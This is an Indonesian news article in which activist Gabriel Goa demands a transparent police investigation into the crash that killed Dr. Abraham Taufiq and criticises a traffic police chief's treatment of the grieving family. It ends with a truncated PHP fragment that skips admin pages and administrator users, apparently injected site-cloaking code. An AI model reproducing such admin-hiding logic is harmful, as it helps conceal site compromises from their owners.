Hukum

PADMA Indonesia Desak Kapolres Kupang Transparan dan Jujur Usut Tuntas Penyebab Kematian Tragis dr. Abraham Taufiq

×

PADMA Indonesia Desak Kapolres Kupang Transparan dan Jujur Usut Tuntas Penyebab Kematian Tragis dr. Abraham Taufiq

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Fakta membuktikan penegakan hukum di Indonesia tajam ke bawah terhadap wong cilik dan tumpul ke atas karena kongkalikong kaum kuat kuasa, kuat modal dan oknum pejabat aparat penegak hukum.

Pendapat ini disampaikan Ketua Dewan Pembina PADMA Indonesia yang juga Ketua KOMPAK Indonesia, Gabriel Goa, Selasa (19/08/2025).

Pegiat HAM dan anti korupsi, Gabriel Goa. ( Foto Menara Sumba )

“Jika perkara hukum berkaitan dengan pelaku rakyat biasa maka proses penanganannya cepat sekali,” sebut pegiat HAM dan anti korupsi ini..

Namun apabila terkait kaum kuat kuasa dan kaum kuat modal yang dibeking oknum pejabat aparat penegak hukum maka prosesnya lamban dan berbelit-belit.

Keluarga besar lembaga hukum dan HAM Pelayanan Advokasi untuk Keadilan dan Perdamaian (PADMA) Indonesia bersama Koalisi Masyarakat Pemberantasan Korupsi (KOMPAK) Indonesia menyatakan duka yang mendalam atas kematian tragis dr Abraham Taufiq pahlawan kesehatan yang melayani para pasien di wilayah perbatasan NKRI dan Timor Leste.

Dalam perjalanan dinas bersama bidan Modesta Uak mobil keduanya ditabrak oleh mobil anggota DPRD NTT dan mantan pejabat TTS yang diduga berinisial ON di kilometer 58, Desa Ekateta,bKecamatan Fatuleu, Kabupaten Kupang.

Anehnya, penabrak selamat namun tragis dokter dan bidan mengalami nasib nahas karena pahlawan kesehatan dokter Abraham akhirnya meninggal.

“Fakta membuktikan bahwa para sopir pejabat penting biasanya menyetir mobil sangat hati-hati dan tidak ugal-ugalan,” timpal Gabriel.

Lebih menyakitkan lagi perilaku seorang Kasatlantas Polres Kupang yang melecehkan dan merendahkan harkat serta martabat keluarga berduka, seorang dokter perempuan yang mau meminta informasi perkembangan penanganan perkara tabrakan maut.

Ia menyebut, dari jejak digital diduga kuat Kasatlantas Polres Kupang juga pernah menjadi Kasatlantas Polres Sikka yang bermasalah hukum terhadap perempuan sehingga dimutasi ke Polda NTT.

Terpanggil nurani kemanusiaan untuk memperjuangkan keadilan korban dr Abraham yang mati tragis, serta bidan Modesta Ua yang alami kecelakaan dan traumatik psikologis maka keluarga besar PADMA Indonesia dan KOMPAK Indonesia menyatakan :

Pertama, mendesak Kapolres Kupang untuk mengusut tuntas dan memproses hukum pelaku utama tabrakan maut dan tragis.

“Apakah sopir yang ditetapkan tersangka atau ada orang lain yang membawa mobil ugal-ugalan ngebut di jalan dengan mengabaikan keselamatan penumpang dan pengguna jalan lain,” imbuhnya.

Kedua, mendesak Kapolres Kupang untuk menindak tegas Kasatlantas Polres Kupang.

“Ia diduga kuat telah melecehkan bahkan menginjak-injak harkat dan martabat keluarga korban yang sedang berduka, seorang perempuan dokter yang meminta keterangan resmi terkait penanganan perkara pidana almarhum dokter Abraham,” katanya lebih lanjut.

Ketiga, menyampaikan duka mendalam kepada keluarga besar almarhum dokter Abraham dan mendoakan almarhum bahagia di Surga Abadi, serta keluarga yang ditinggalkan mendapat kekuatan serta penghiburan.

Pihaknya juga akan mendukung total keluarga besar untuk bersama-sama melakukan investigasi mendalam dan meminta bantuan bagi keluarga almarhum dokter Abraham agar bisa terungkap siapa pelaku tabrakan maut sesungguhnya.

“Apakah betul sopir yang sudah.ditetapkan tersangka atau ada pelaku lain yang diduga kuat identitasnya diamankan,” pungkas Gabriel. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>